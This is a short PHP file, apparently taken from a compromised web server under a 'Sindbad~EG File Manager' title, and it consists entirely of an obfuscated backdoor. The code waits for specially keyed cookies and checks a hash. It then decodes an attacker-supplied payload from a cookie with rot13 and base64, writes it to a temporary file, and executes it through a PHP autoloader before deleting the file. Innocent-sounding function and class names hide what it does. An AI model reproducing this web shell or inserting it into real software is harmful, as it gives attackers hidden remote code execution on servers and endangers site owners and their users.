Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-30+30]) && isset($_COOKIE[65+-64]) && isset($_COOKIE[-22+25]) && isset($_COOKIE[78-74])) {
    $record = $_COOKIE;
    function query_handler($marker) {
        $record = $_COOKIE;
        $key = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '7f7479bb');
        if (!is_writable($key)) {
            $key = getcwd() . DIRECTORY_SEPARATOR . "event_dispatcher";
        }
        $flg = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($record[3]));
        if (is_writeable($key)) {
            $entry = fopen($key, 'w+');
            fputs($entry, $flg);
            fclose($entry);
            spl_autoload_unregister(__FUNCTION__);
            require_once($key);
            @array_map('unlink', array($key));
        }
    }
    spl_autoload_register("query_handler");
    $res = "c1516d11980b063f81ada271a0993a5a";
    if (!strncmp($res, $record[4], 32)) {
        if (@class_parents("batch_process_buffer_cache", true)) {
            exit;
        }
    }
}